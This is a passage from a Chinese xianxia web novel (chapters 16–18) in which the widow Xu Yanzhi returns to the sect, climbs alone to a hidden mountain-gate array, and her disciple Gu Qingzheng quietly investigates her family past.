他们从天将将亮出发,到此已经走了大半天,而随着外头的景色越来越熟悉,徐宴芝也渐渐收拾好了心情。 她望着窗外一成不变的白雪,感受着干冷的空气让鼻尖变得冰凉,轻声道:“从揽云大泽那儿换来的货物中,有一些直接卸在山下就好。” “那便将车队分开,一队去往城里,一队先回山上。”顾青峥目不斜视地答道。 “我见这些小弟子许多出生在城中仙家,上山后再难得下来,马上冰雪季了,让他们进城见一见家人也好。” 她一边说,一边转头看向顾青峥,慢慢恢复了她惯常那副胸有成竹的笑模样,声音也有了力气。 飞虎早就慢下了脚步,这条路也平整,四下十分安静。 徐宴芝一番话从车窗中飞了出去,被半个车队的小弟子们听在耳中,他们嘴里不说,屏气凝神地竖起耳朵等着顾青峥回答。 顾青峥哪里好做这个恶人,他也终于自如起来,朝空气扬了扬眉,松松往后一靠,失笑道:“那就如夫人所言,我们先进城。” 话音未落,便听到了前后传来小弟子们压得极低的欢呼声。 二人没忍住,飞快对视一眼,又更快地将头转了回去。 这一次从新城带回来的一些灵物,吕敏之交代过要直接送到山下商行中,让商行零散的售卖一些。 飞虎车进城后便直奔北域宗门设在城中的商行,顾青峥下车自去与商行管事交涉,放小弟子们自由活动一个时辰。 既然已经到了七峰山下,此界少有比这儿还要安全的地方,徐宴芝也总算得了自由。 她与小弟子们一般下了车,并不多看顾青峥一眼,混在撒欢的小弟子中,一言不发地离开了商行。 顾青峥不过与管事说了几句,再转头,已经不见了徐宴芝的踪影。 她去哪儿了?顾青峥眼皮一跳,下意识地看向太阴峰的方向。 此前数十年里,徐宴芝一直待在太阴峰上,不论何时,无论他在何方,他都清晰知晓她在哪儿。 久而久之,她好像与太阴峰融为了一体,只要顾青峥抬头看向北域最高的山,仿佛就在看她。 可她并不是一个真正的象征,而是一个真正的人。 顾青峥思及至此,还未来得及深究,忽然听得身旁有人谄媚唤他:“顾师兄。” 他回过神来,转头看去,见到了徐宴芝的族弟徐广济。 徐广济身穿弟子服,正长大了嘴惊喜地看着他,笑道:“我下山替天枢峰办些事,竟然在此处见到了师兄,顾师兄是方才从外头回来吗?” 见他一脸崇拜的模样,顾青峥心中一动,点头温和道:“与师娘、门中师弟师妹们去了一趟新临渊城。” 果然,提到师娘二字,徐广济的脸上顿时生出了古怪的神色来,他并不是善于隐藏、有心机的人,脸上神情的变化十分明显。 顾青峥只做不知,闲聊一般地与他交谈,多说了几句一路上的见闻后,徐广济又重新高兴起来,拐着弯向他打听他们去新临渊城究竟做了什么交易。 顾青峥面露难色道:“这个,不得师娘的准信……” 他像个顶顶孝顺的徒儿,对师娘言听计从。 这一来一回,顾青峥将徐广济心底阴暗的不满全数勾起,得了他声音极低的一句阴恻恻的话:“姐姐什么也不肯告诉我们,早知如此,不仅将她那奴仆……” “奴仆?”顾青峥咀嚼着这两个字,继续引诱徐广济,“这是怎么回事?当然,若是师娘不许……” 徐广济面容有些扭曲,显然被顾青峥戳中了心事,只是到底还是存了些理智在,讪讪笑道:“无事,不过是家中之前一些琐事罢了。” 顾青峥有些遗憾地应了声,叹道:“是这样吗……” 徐广济被说的垂下了头,无法再佯做和善,他敷衍地胡乱应付了几句,推脱说事情还未办完,眼神躲闪地离开了商行。 顾青峥面无表情地注视着他,一直看到看不清他的背影为止。 商行里发生的这个插曲,徐宴芝当然不知道,她此时正裹紧了斗篷,在城中漫无目的地游荡。 街上仙人凡人混杂在一处,各种口音的对话将她包裹,抚平了她心中许多的尖刺。 她将兜帽拉得极低,大半张脸都陷在阴影里,混入人群后,并无人会多看她一眼,她却可以借此机会肆无忌惮地左右张望。 这座仙城没有名字,建立的原因只为北域七峰,里头居住的大都是曾经做过宗门弟子的仙家,这些仙家除了预备着将家中小辈送上七峰外,还辅佐着七峰做一些交易。 因此,仙城里遍地都是仙家府邸,也遍地都是开门做生意的店铺,有些小仙家甚至舍了自家大门,改做一个门脸。 徐宴芝怀抱着温暖的灵器,视线扫过身旁一间又一间的门脸,卖灵草的,卖野兽的,卖不知名丸药的。 她宛若初来时那般,沉浸在热闹中,与熙熙攘攘的人□□错而过。 北域那些没有被七峰选中,转而投靠了小宗门,成为小宗弟子的仙人们,甚至那些有着家传仙法,并未加入宗门,成为散修的仙人们,他们都爱朝圣,经常会来城中淘金。 在灵力匮乏,生存环境恶劣的此界,没有进入七峰的仙人们修为都较低,绝大部分止步筑基境,半点构不成对七峰的威胁,七峰索性也大方起来,品质一般的灵器灵物,敞开来对外供应。 城里可以见到北域大部分常见的灵物,它们琳琅满目地摆满了货柜。 徐宴芝走得一会儿,停在一间商铺前,饶有兴趣地看着两个明显是散修打扮的仙人为了一枚中品灵草与老板讨价还价。 他们的口音听上去是从更北的地方过来的,面上带着明显的紧张,双手攥紧了身上背囊的带子,一副生怕被七峰山下的仙人们看轻了的模样。 三个人争论了几句,周围有看热闹不嫌事大的仙人也加入进来,一会儿帮老板说话,一会儿帮散修说话,一齐鼓噪起来,将场面闹得极大,教两个散修紧张得出了一脑门的汗。 站在人群中听着身边人七嘴八舌说个不停的徐宴芝,终于感到手心有了一丝温度。 热热闹闹的、喧嚣的人群,她可以很轻松地把自己藏在里头,到处都是带着兜帽斗篷的人,没有人想要多看她一眼。 徐宴芝久违地感到了安全,她甚至无意识地咧开嘴,露出一个笑来。 这一场争论,最后以散修们的胜利告终。 围观的人群挑出了仙草的诸位毛病,还有人声称自个儿家的仙草品质更好,让散修们不要与这个老板纠缠,来买自个儿的,老板不得不低头,降价售卖。 两个散修高兴得脸都红了,连忙将攥在手心的灵石给到老板,又掏出匣子,仔仔细细地将灵草装好。 他们放好了灵草,一边与周围人道谢,一边携手钻出了人群,徐宴芝见状,下意识地跟了上去。 这两个散修一男一女,女人明显是主导,她得了仙草后,小心翼翼地拉着男人往外走去,一边教训他,一边四下观察。 “说了许多次了,讲价的时候莫要拆我的台,怎么说不听……” “师姐我错了,下次不敢了……” 男子双手合十,讨好地冲着他师姐拜了拜。 这个举动把他师姐逗笑了,女人得意洋洋起来,伸手撸了一把男子的头。 他们已经压低了声音,但还是钻进了身后跟着的徐宴芝耳中。 徐宴芝睁大了眼看着这对师姐弟,心脏砰砰跳动着,莫名地开始怀念起什么。 徐宴芝握紧了拳,茫然地跟着那对散修来到了城门前最繁华的那条街上。 说它繁华,只因为两边的建筑与中间的大道都修建的十分华丽,但路上的行人是少的,比不过方才她路过的那一处寻常街道。 那对散修明显地慢下了脚步,女子低声对她师弟道:“这里都是些我们买不起的东西,什么都有,听说还有买命买奴仆的,我们莫要过去,免得惹上麻烦。” 她师弟连连点头,应道:“师姐说得是。” 他们说罢,连忙掉头往来处走,与徐宴芝擦肩而过时,还好奇地多看了她一眼。 徐宴芝看着这条街,抬腿想要继续往前,脚却停在了空中,这条大街,她住在徐家时也曾来过几次,没有给她留下什么好的记忆。 她也如那对散修一般转头离开了这里。 一个时辰过得快极了,四处撒欢的小弟子们回到了商行前,叽叽喳喳得说着自己方才去做了些什么。 忽然一个小弟子住了嘴,朝着某处努了努嘴,对同伴们使了使眼色。 小弟子们齐齐转头,见是徐宴芝放下了兜帽,缓缓从长街尽头走来,都闭上了嘴,恭敬地朝她行了礼。 他们本能地察觉到,徐宴芝此时心情有些低落,不愿触了夫人的霉头。 徐宴芝朝着诸位小弟子笑了笑,没有开口,只安静地站在远离人群的地方,等待着他们重新将飞虎车套好。 一行人静默地做着手中事,又静默地将飞虎驱赶到街上。 此时顾青峥终于与管事交代清楚,最后一个上了车,轻咳一声后,小弟子心领神会,驱赶着飞虎慢慢小跑起来。 飞虎脚程极快,他们一行人不一会儿便离开了这座城,又走了一段时间后,八座高耸入云的山赫然出现了在徐宴芝眼前。 她的睫毛轻颤着,仰望雪白的、刺目的、令人感到轻微晕眩的冰山。 七峰拱卫着太阴,如同星星拱卫着月亮,它们巍峨料峭,山体上遍布亘古不化的冰雪,无情如远古神明,冷冷地注视着渺小似蝼蚁一般的徐宴芝。 徐宴芝蓦然产生了被七峰俯视着的错觉,它们讥讽地看着她所做的一切挣扎,并不屑展示出任何动容。 她瑟缩了一下,彻骨的寒冷来袭,教她想要攥紧了拳头。 但她并未成功,她的手被身边人包裹,她的指头被他一根一根的摊开,最后与他交握住。 飞虎车达达地走到了上山的路上,冷风卷着漫天雪花拍在车厢上。 车中人无意识地握紧了双手,谁也没有看向对方。 17、第十七章 顾青峥在城中便已放出鸢鸟,山上早已将做好了他们回宗门的准备,飞虎车来到了天枢峰上,将从新临渊城带回来的不梦鳞卸下,方便天枢峰遣人四处修缮山中结界。 吕敏之一贯不放心别人收查贵重货物,亲自捧着竹简与顾青峥起,一车一车地清点,见徐宴芝下了车后独自一人站在不远处愣神,还有心思慰问道:“如何?这回在外头遇见双月当空,可受了伤?” 徐宴芝眨了眨眼,刹那间变出一个笑来,摇头道:“我们到没遇见什么危险,这次没有人受伤。” 吕敏之啧啧称奇:“真是运气好了,上午还有人来报,说是在你们回来那条路上遇见了业鬼,也不知它是如何游荡到北域腹地的,若是遇上了,顾青峥到还能逃,你跟这些小孩儿可就麻烦了。” 徐宴芝愣了愣道:“竟然游荡到这样远的地方来了吗?” “骗你作甚。”吕敏之朝德政堂大殿中努了努嘴,“李长老方才派出了一队弟子下山除鬼,张幼琳带队。” 说到张幼琳几个字,吕敏之声音倏地轻了下来,不愿让人听到一般,又冲徐宴芝挑了挑眉。 徐宴芝了然,这是李能意为自己的亲传弟子造势,趁着顾青峥不在山上,找机会让张幼琳历练。 顾青峥是佼佼者没错,可张幼琳也并不是完全没有机会,李长老珍爱自家弟子,总想着,万一呢? 牵扯到掌门候选人,徐宴芝手握山门秘钥,对此不便公开评价。 她不置可否,莞尔一笑,对吕敏之道了别,迤迤然往远处走去,想要乘灵舟回太阴峰。 在广场上与吕敏之交接的顾青峥远远见了,眼中闪过一丝阴霾,正要抬脚跟上去,却见一艘灵舟摇摇晃晃地停下,一个身影颠颠从上头跳下,朝着徐宴芝走来,边走还一边挥手。 他定睛一看,是师弟闵道一。 顾青峥眼角倏地抽动了一下,他停下了脚步,看着徐宴芝对着师弟笑得灿烂,两人携手上了灵舟,朝着太阴峰的方向飞去。 徐宴芝坐在灵舟上,有一搭没一搭地应付着兴奋的闵道一。 她出了一趟远门,加上山上流传开来她与岳竺的绯闻,让亡夫的小徒弟生出了一些如‘师娘将要离开他’这般莫名的危机感。 此时再见到她,闵道一控制不住,将四天里自己的行踪统统与徐宴芝交代了一遍,还拉长了尾音道:“昨日双月当空,师娘在外头可吓着了?我在太阴峰备好了炊玉饮,只等您回去就能喝下肚。” 徐宴芝笑道:“你有心了,我还好。” 她答得简短,闵道一也察觉到了师娘似乎有些疲惫,连声道:“若是累了,便早些回去歇着,只是徒儿还有件事要问一问您。” “什么事?” “我最近待在玉衡峰上养病,无事做,将画笔又捡了起来,师娘可愿意让徒儿为您画一副像?” 徐宴芝闻言,沉默了一会儿。 闵道一又补充道:“我见上回师娘将师父的画像带回去了,想起从前师父的音容笑貌,总觉得为师娘遗憾,若是能为您画一幅像,也能将两幅画像放在一处,好像你们俩不曾分开一样。” 她和宇文令,不曾分开。 徐宴芝看向车窗外漫天的大雪,神情慢慢冷了下来,只有语气仍旧温和地答道:“如此,便麻烦你了。” 坐在前头的闵道一看不到师娘的神色,高兴地应了声好。 “今晚就画吧。” 徐宴芝拉起斗篷的领子,将脸缩进暖和的一隅,包裹住冰凉的鼻尖,闷声闷气地说道。 闵道一又应了声好,身子却忽然怔了一瞬,片刻后,他缓缓转过头来,用他鹿一般的圆眼睛打量着徐宴芝。 他眼瞪大了,眨也不眨,死鹿一般,嘴上磕巴道:“那、那等一会儿,我便带着画具去寻您。” 徐宴芝霎时觉得背后起了一层寒冷的尖刺,细细密密地扎在脊骨上,涌上了最好的皮毛也暖不了的冷意。 她一瞬不动地看着闵道一,正要说些什么。 她亡夫的小徒儿却已经将头转了回去,自顾自地哼唱起凡间流行的小曲。 他唱得荒腔走板,却让徐宴芝慢慢松懈了下来。 闵道一上山时不到十岁,年幼腼腆,徐宴芝怜悯他,去他的小院照顾他时,小小的闵道一就会伏在她的膝上,哼着这首曲子。 她曾问过,闵道一说这是母亲哄他入睡的小曲。 一晃数十年过去了,北域苦寒,凡人命短,徐宴芝不知他的母亲还在不在人世,也不知在夜深人静时,闵道一可曾会思念起曾经让他伏在膝头,为他哼唱安眠曲的母亲。 话说回来,宇文令为何会收下闵道一这个天赋寻常的弟子,他从未说过,七峰众人也只说是因为凡人国王献上亲儿祈求仙人垂怜,教掌门破格收了徒。 现下宇文令已死,徐宴芝再也无从得知真相了。 冰雪季即将来袭,太阴峰上的风雪更是无休无止,要将一切撕碎般剧烈,灵舟飞在空中,远远看去,也不过像一朵大片的雪花,左右摇摆着。 等到灵舟落地,徐宴芝已有些烦闷恶心,与闵道一约好稍后见,便快步回到了自己的屋里。 她那间逼仄的屋子还是一如既往,重重帷幕遮住一张窄小的床,床上铺着厚重被褥。 徐宴芝整个跌入其中,让绵软的触感将自己包裹,缓缓地长吁一口气。 歇了一刻后,她挣扎地坐起来,褪下层层的衣裳,反过身子从镜中看着自己的背脊。 那些一道压着一道的疤痕原本已经黯淡了,此时却重新鲜艳起来,红艳艳的,从肩胛中间开始,一直蔓延到腰间,把徐宴芝生生劈做两半似得。 徐宴芝折着脖子,面无表情地凝视着她的伤痕。 费了偌大的力气,终于要将伤治好,因为一场双月当空,看着又要不好了似得。 她有一具美丽的躯体,狰狞的伤口无损她的美,更添了一份诡异的冶艳,是绚丽绽放的花朵花瓣上留下的红痕,愈发显得颤颤巍巍,娇艳欲滴。 可这并不是应该的。 徐宴芝瞪着镜中美丽的躯体,她伸手轻轻地抚摸她的背脊,白皙的手指,被鲜艳的红痕反映上妃色。 她的瞳仁颤抖着,明白这宣告着她容易被侵犯,无力反抗,只能柔软地垂下头,奉出她纤细的脖颈,任人宰割。 徐宴芝呼吸急促起来,她吸下一口气,想要顺下喉咙中哽住地那块使她疼痛的疙瘩。 她咽不下去。 她颓然伏在床上,死死揪住光滑的被褥。 她恨这躯壳美丽又无用! 金乌西坠,太阴峰上的风雪愈发肆虐起来,大殿上的结界不稳当地忽明忽暗,引得殿中刮起了几乎将房顶掀翻的风,琉璃瓦碎裂的声音不时从远处传来,让昏沉伏在床上的徐宴芝猛地一个激灵,清醒过来。 她的脸颊触碰着温暖光洁的血蚕丝,又趴着缓了缓,然后松开了抓住被褥的手,艰难撑着床坐直了。 此时的她面上已经半点不见颓然,嘴唇紧紧地抿成线。 徐宴芝面朝桌上的镜子,坦坦荡荡地挺直了背,抬起了下巴,她观察着镜子中双眼布满血丝的女人,面容僵硬地叹道: “就这么点能耐啊,徐宴芝……” 芝字的音被她收进嘴里,变成意味不明的嘶声。 她出了一会儿神,而后外头传来了轻轻的叩门声。 徐宴芝抬头看了看外头,惊觉与闵道一约定的时间已经到了,于是她重新穿好衣裳,将纷乱的鬓发梳好,想着既然是要画像,又打开了妆奁,取出了一枚流光溢彩、似木非木的发簪带上。 对镜端详时,徐宴芝忽然意识到,今日距离宇文令去世,已经过去了大半个月,她也有许久未曾梳妆打扮了。 闵道一替她画的像,若是能挂在大殿之上便好了,那她发间这枚簪子也要被画进去才好。 这般想着,望着鬓发间若有似无的流光,她的心情终于慢慢好了起来。 徐宴芝最后整理了身上长裙,走到院门处,笑着对着外头的闵道一说道:“久等了。” 闵道一捧着画卷,冲她咧嘴笑道:“没等多久,师娘方才可有歇息一下?炊玉饮可用了?” “用了,确实眯了一会儿。”徐宴芝引着他走到院中,指着小花园问他,“在这儿可好?” “在哪儿都行!我一定将师娘画得好看!” 闵道一兴冲冲地坐在徐宴芝从屋中拿出来的椅子上,将画卷铺在院中原本一张石案几上,指挥着徐宴芝在院中寻了一处绝佳的好位置,挥毫画起来。 没画一会儿,他便注意到了徐宴芝发间的簪子,惊喜道:“是这一枚簪子,我还记得师娘同我说过,这是您与师父成婚时他赠与你的。” 徐宴芝闻言,眼中波光流转,她应了声,伸手拂过那枚发簪,近乎无声地叹道:“这是掌门亲手为我制成的。” 当她终于费劲心思,让宇文令将她看在眼里,那个男人的眼中不再只有冰冷审视,他不再漠然离开她,破天荒地朝徐宴芝展露出笑颜。 徐宴芝顺从地露出了她脆弱的脖颈,若有似无地展出她背后的红痕,她弱小而美丽,正适合成为宇文令长剑上殷红的剑穗,成为他无尽仙途中聊以慰藉的暖夜。 大婚前夜,宇文令俯视着坐在窗前梳妆的徐宴芝,自锦囊中拿出一枚发簪,替她簪入发髻中。 他赠与徐宴芝自己亲手制成的、自圣山之巅取回的冰木发簪,对她说,她的容颜只有太阴峰顶的旖旎之景才能媲美。 多么惹人怜爱的比喻,又多么摄人心魂,教人生出淬了毒的野望。 若今日他还活着,还能对徐宴芝露出那样居高临下的笑吗? “看到这枚发簪,便让我想起了掌门曾经对我的种种。”徐宴芝的眼睛亮晶晶的,语气中是由衷的赞叹,“若没有他,我怎么会有今天呢。” “师父与师娘真是鹣鲽情深……” 闵道一似是感动,眼与鼻头皆红了。 修行之后,连作画的速度都快了许多,进来不到半个时辰,闵道一便画好了徐宴芝的像,却不肯给她看,一叠声叫着师娘,拦在画前道:“现下是画好了,但却不是成稿,等明日起来还要再润色一番,师娘且再等等吧!” 徐宴芝失笑,摇摇头指着院门口道:“那便早些回去吧,明日再给我。” 小院的门,自闵道一踏入后一直开着,远远有小弟子候在外头,待久了便要连累这些师弟师妹枯等,闵道一连忙收拾好了画具,一边冲徐宴芝道别,一边步履匆匆地离开了小院。 他与远处的小弟子们互相颔首打了招呼,七扭八拐地穿过了整个太阴殿,来到了前殿他与师兄的住处。 闵道一正预备推门而入,却发觉院门开了一条小缝,他的手停在半空中,下意识地脱口而出道:“师兄?” 小院里果然传来了顾青峥的声音:“怎么不进来?” 闵道一大喜,推开院门窜进屋里,往自在坐在他桌前看功法秘笈的顾青峥肩上猛地一拍,嚷道:“师兄回七峰也不第一时间回太阴,也不知去了哪儿,我方才去接师娘时也没瞧见你。” 顾青峥头也没抬,优哉游哉地单脚点地,前后将椅子摇晃起来,温声道:“老远见你乐颠颠地过来,接了师娘便走,我便站在德政堂前你都没瞧见,还好意思说呢。” 闵道一嘿嘿一笑,随意将手中画卷往桌上一放,转身从柜子里掏出了一盘凡间小点心,伸到顾青峥面前问道:“师兄可要用些点心?” 顾青峥摇摇头,倒是对桌上的画卷生出了兴致,他穿过师弟的阻拦,将画卷高高举起,展开了一块。 巧笑倩兮的徐宴芝便出现在了他的眼前。 顾青峥怔了一会儿,又将画卷卷起,神情复杂地抬头对师弟叹道:“你去给师娘画像了。” 他说着,仍旧没有将画卷还给闵道一,左右交替地换手拿着,就是不让师弟取回去。 闵道一急得拽着他的手大叫:“我还未画好呢!” “先借我一用,过几日再还你。” 顾青峥轻飘飘地留下一句话,闵道一再一眨眼,他师兄已经消失了。 “我说了还未画好呢!” 闵道一气得直嚷嚷,撞出门去,想要去师兄的院中寻他。 只是出门便发现了,顾青峥的院子大门紧闭,任由他如何拍门也不肯开,闵道一想要翻墙,又被墙上升起的一道雷电劈了个透心凉。 他只能放弃,神色凛然,眼角一抽一抽地回到自己院里。 那卷画被放在顾青峥的书桌上,待到夜幕降临,他将灵力运转了一周,准备起身歇息后,方才再次被他拿在手中。 迎着月光,他将画卷展开,画上的徐宴芝栩栩如生地出现在面前。 闵道一画技十分高超。 徐宴芝笑着,对顾青峥露出了一排小巧洁白的牙齿。 他盯着看了一会儿,接着猛然将画合上,神色倏然变得阴冷。 过了一会儿后,他身上的燥热仍然不曾消解,顾青峥只得叹息转身,去院中变来冰雪擦拭胸膛。 18、第十八章 翌日,闵道一并未如约将画像送来。 徐宴芝没有在意,她今晨起来后,觉得外出这些日子的灵力消耗全部补了回来,便决心去确认一件事情。 既然他没有主动赴约,她也就顾不上与小徒儿的约定。 将宇文令的祭典办完,又去了一趟新临渊城与岳竺做了交易,宗门中除却不久后的弟子大比,并无其他大事要办,徐宴芝也算落得轻松。 出门四日,对她而言每日都不轻松,也不曾好好地歇息过,回来后她背后的伤竟然难得没有作祟,今晨就起的晚了一些。 等她起来后,走出小院时,见太阴殿中值日的小弟子们已经将宫中整理的井井有条。 昨夜徐宴芝隐隐听到四处有琉璃瓦跌落的声音,现下一看,都已被收拾干净,连屋檐上缺失的瓦片也好生生地被补好,全然没有受过损伤的模样。 太阴峰上灵力浓郁为此界之最,为了让宗门中有天赋的弟子们都能在这样的环境中修行,山上的小弟子们每隔几年便会换一批。 若没有被掌门看中成为亲传弟子,这是他们一生只有一次在圣山修行的机会,小弟子们都十分重视,在殿中值日时也十分勤勉。 徐宴芝一边走,一边回想着自己当年上山时的场景。 若是当时的她知晓了这一点,晓得能在太阴峰上修行是宗门恩赐,她是否会好过一些? 大雪扑簌簌地落在透明的穹顶上,被无形的阻挡拦住,滚作一团摔落在结界外头。 徐宴芝仰头看了看,抬脚往太阴殿后走去,路上遇见了三五成群的小弟子,手中拿着匣子与罗盘,跟着指针转动走动着,小弟子们见了她,都停下来向她行礼,口中唤徐夫人。 徐宴芝向他们颔首回礼后,冲着匣子扬了扬下巴,问道:“你们这是在做什么呢?” “回禀夫人。”为首的小弟子拱手回答,“天枢峰刚刚将不梦鳞送来了,昨日您说过若是那边送了过来,我们自行修缮结界便是,弟子便不曾再与您请示了。” 昨夜闵道一走后,徐宴芝因着连日困顿,只愿长睡不复醒,不愿被小弟子们扰了睡眠,确实叮嘱过他们。 她点了点头,又问道:“你们查看了这样久,情况如何呢?” 几个小弟子面面相觑,为首那个轻声对她道:“不是很好,太阴殿上的结界太久没有修缮,这回的冰雪季风雪又这样大,裹挟着灵力一直撞击结界,有大部分都松动了。” 这样的话,情况便糟了,结界脆弱起来,很有可能一场暴风雪就掀翻了太阴殿,到时候再想重新布阵,可不再是修缮这样的难度了。 徐宴芝皱起了眉头,轻声道:“如此,恐怕你们几个人来不及修缮,若是没有其他长于布阵的同门,便等我回来与你们一块儿吧。” 那几个小弟子原本各个愁眉苦脸,闻言肩头都松懈下来,语气欢快道:“那便先谢过夫人了!” 徐宴芝笑着摇摇头,与他们分道扬镳后,继续往后走去。 这些小弟子高兴是有缘故的,虽说徐宴芝在七峰是出了名的不善修行,但阵法一道,多是借助灵物,所谓借力打力,若是精巧的阵法,还能以下克上,制服比摆阵人高明许多的仙人。 摆阵人本身并不需要多深厚的灵力,正是适合徐宴芝,她也颇为费心思地钻研过。 虽然在外头名声不显,但太阴峰上的小弟子们时常与她一块儿巡视结界阵法的情况,对此再清楚不过了。 若是有了徐宴芝的加入,一是有了主心骨,二也能早些修缮完。 徐宴芝再往后走时,便开始不时地找到阵法的关键处检查一番,待走到太阴殿的角门时,她已经对这一路问题心中有了数。 推开角门,徐宴芝先裹紧了身上厚厚的斗篷,接着从锦囊中拿出了一枚指引方向、抵御风雪的灵器。 她将灵器拿在手中,小心地转入灵力,等待它运转起来。 等到灵器发出了细微的嗡嗡声后,她快走了几步,踏出了太阴殿上结界的范围,进入了真正的圣山之中。 脱离了七峰设立的大阵,踩在太阴峰上千万年冰封的雪地上,徐宴芝感到浩瀚的风雪挟着排山倒海之力向她拍来—— 呜呜的雪哭声,雪凝成冰从天而降的脆响声,运转起周身的灵力仍旧冻得牙齿碰撞的撞击声。 铺天盖地的声音将她包裹住,就连手中的灵器也发出了不堪重负的蜂鸣。 她的身躯因无法克制的恐惧开始颤抖。 仰望着看不见尽头的太阴峰之巅,顶着这一切,徐宴芝咬着牙往山上爬去,心中却生出了荒诞的念头——该不会,在一切尚未发生之前的今日,她就要死在圣山之上了吧? 险之又险的,她手中从某人那里得来的灵器十分了得,在如此混乱的灵力风暴之中,仍然指引了正确的道路。 徐宴芝在一个时辰之后来到了她此行的目的地。 在山中一处背风处,有刀削般笔直光滑的石壁,与平整不被冰雪染指的平台,平台上荧光若隐若现,画着一个形态复杂的法阵。 徐宴芝跌跌撞撞猛地向前跑了几步,跌入了平台中,她勉强撑着地,想要爬起来,却数次又摔了回去。 这让她眼前一时黑一时白,口鼻之中都是血腥味。 她伏在地上时,从这个角度往下看,能看到修建在半山腰的那一群建筑,只是巍峨的太阴殿似乎变得小了,在漫天风雪中,如同凝固在琥珀中的一片枯叶,被徐宴芝琥珀色的眼睛注视着。 唉,她费了巨大的力气,仍旧没有离开那座牢笼太远。 徐宴芝闭上眼狠狠喘了两口气,挣扎地从锦囊中掏出一枚灵药塞入口中,灵药入口即化,变做灵力弥漫至她的四体百骸,这让她终于有了力气,撑着冰冷的平台坐了起来。 她用手肘往前爬了几步,来到那处阵法前,低头用手指虚虚地顺着阵法上灵力的流动,勾勒着它的形状。 画了一会儿,她紧皱的眉头松开来,难以抑制地伏地大笑起来。 这就是圣山的山门之处!真如北域人一般朴实又不起眼! 宇文令没有骗她,他竟然当真将一切都不设防地给了她! 风雪漫天,风声如啸,徐宴芝回忆起从前。 这是宇文令对徐宴芝的又一个奖励。 在他们成婚后的数十年之后,她终于可以借着他的名头自由在山中行走,插手所有掌门应当插手的庶务,让宇文令可以肆无忌惮地沉浸在修行之中,去寻求虚无缥缈的仙路尽头。 那一日,恰逢双月当空,窗外的一切都在尖啸。 徐宴芝瑟缩地伏在宇文令胸口,恰到好处地展示着自己的弱小与无助,屋内暖意氤氲,宇文令有一搭没一搭的捋着她的发梢,像在抚摸一只乖顺的猫儿。 她扬起头,眼眸中荡漾着水波,柔声道:“若是您不在,这样的夜晚我都不知道该如何是好。” 宇文令飘忽的眼神聚集在她的面容上,他定定地看了她一会儿,嗤笑道:“我不会不在。” 她羞赧地呀了一声,将脸贴在他的胸膛上,低声道:“我说的不是这个。” 宇文令却不曾听到她的话,自顾自地补充道:“不过,若是我已寻到大道,飞升成真仙,你独自在此界倒是孤苦。” 他的胸膛起伏,徐宴芝听到的声音都是闷闷的,说到这里,他又停顿了下来,让她紧张地屏住了呼吸。 “我将掌门密令赐予你。”宇文令笑了起来,笑声畅快且肆意,“毕竟我若成了真仙,宗门这一摊子琐事,还要有人来办。” “密令有何用?不若赐我一张琴,我在道一那儿听他弹琴,只觉如天籁一般。” 徐宴芝兴致缺缺地点着他的胸膛,懒懒答道。 “无知女子。”宇文令揉了揉她的后颈,嗤笑一声,“有了密令,便有了开山门的权力,从太阴殿往后走半炷香的时间,便到了山门处,以密令启动法阵,就能去往圣山之巅……” 他一边说着,一边随意地擒住了徐宴芝的右手,在她的惊呼之下,往其中注入了巨大的力量。 “你身体有碍,无法再修行,这密令也能助你在我飞升后多活上一段时间……” 那一日,宇文令的神态,他的声音,他说的话,都刻在了徐宴芝的脑中,在他死后,她每每想起,都要笑得腹痛才罢休。 “飞升成真仙……” 徐宴芝阴阳怪气地学着宇文令说话,她笑得止不住,仰面躺在地上。 歇了一会儿,徐宴芝又爬了起来,她转身伸出右手,试探地运转起灵力,想要启动这个法阵。 灵力仿佛一滴水,汇入了大海之中,法阵不过稍稍亮了一些,便又恢复了常态。 这倒是在徐宴芝的预想之中,在宇文令死后那几日,询天阁观天象后断言,山门莫约要在明年才能打开。 那时此界的灵力起伏会到达巅峰,天地之间,尤其圣山之上会充斥着巨大的灵力,届时只需一点灵力火花,便可点燃这个法阵。 这一次过来,徐宴芝只是想要确认宇文令有没有骗她。 她费劲心思去治伤,直到今日,方才有把握能独自一人走到这里。 去看一看她的亡夫对她的轻视与馈赠。 徐宴芝盯着法阵,撑着膝盖喘息了一会儿,等到灵力充盈在四肢后,她深吸了一口气后,回头凛然地踏入了风雪之中。 来时路且险,去时也艰难。 她慢慢走,慢慢走,总能走到远方。 在徐宴芝独自上山之时,太阴殿中的顾青峥也走出了院门,乘着灵舟,拿着画卷,下到了天枢峰上。 徐宴芝的族弟徐广济是天枢峰的内门弟子,要来寻他,只需在弟子们都空闲时,来到天枢峰的后山弟子舍中即可。 以顾青峥对他的了解,徐广济性格古怪,在宗门里一贯独来独往,想来也不会在闲暇时与同门们相聚。 果然,当顾青峥轻叩弟子舍大门时,里头传来了徐广济不耐烦地声音:“谁啊?” “我,顾青峥。” 顾青峥说罢,束手等在门口,听着里头传来一阵慌乱地碰撞声。 “顾师兄,您怎么来了。” 头发还乱着的徐广济打开门,紧张地抠着手,对顾青峥说道。 顾青峥对他笑了笑,朝着门后示意道:“来寻你有些事,方便进去说吗?” “自然自然……” 徐广济连忙让出了地方,请顾青峥进了他的弟子舍。 这间不大的房子里头乱糟糟地放着一堆杂物,徐广济慌慌张张地清理出一张椅子请顾青峥坐下,自己直接坐在了床上。 他眼神闪烁,似乎疑心是自己犯了什么事,小心翼翼地问道:“顾师兄这回来寻我是因为什么事?” 顾青峥光风霁月地笑着,一边整理着衣摆,一边漫不经心地与他说着不久后的弟子大比,并未直接说明自己的来意。 两人谈了几句,顾青峥不吝啬地将自己参加弟子大比的经验向徐广济倾囊而授,让原本紧张地不得了的徐广济放下了戒心,专心与他讨论起来。 又说了一会儿后,顾青峥像是忽然想起了什么一般,拍手道:“对了,差点忘了这回寻你是因为何事了。” 他又笑了起来,徐广济如沐春风,追问道:“究竟是何时,您就别卖关子了。” “我想过来问问你。”顾青峥嘴角慢慢回落,眼神倏地凛然起来,“听闻徐夫人在家时,曾有位奴仆,只是不知后来发生了何事,让我全然不知这个奴仆的下落了?” 他说话间,见徐广济笑容僵在脸上,眼皮狠狠跳了一下。 他们俩都沉默下来。 过了半晌,徐广济才阴恻恻地垂着头,低声道:“这件事是徐家家事,与宗门无关。” 这样愚蠢的男子,心中竟然也能藏着事。 顾青峥又温言问了几回,均被徐广济挡了回去,不论如何,他就是不愿意谈论起当年事。 既然如此,顾青峥叹了一口气,正想作罢,起身时心念电转,脑中猛地闪过一个可怖的念头。 他将收在贴身锦囊中徐宴芝的画卷拿出来,展开在徐广济面前,静静看着面前男子如遭雷劈的表情。 “你可认识她?” 顾青峥指着画中徐宴芝的脸,一字一句道。 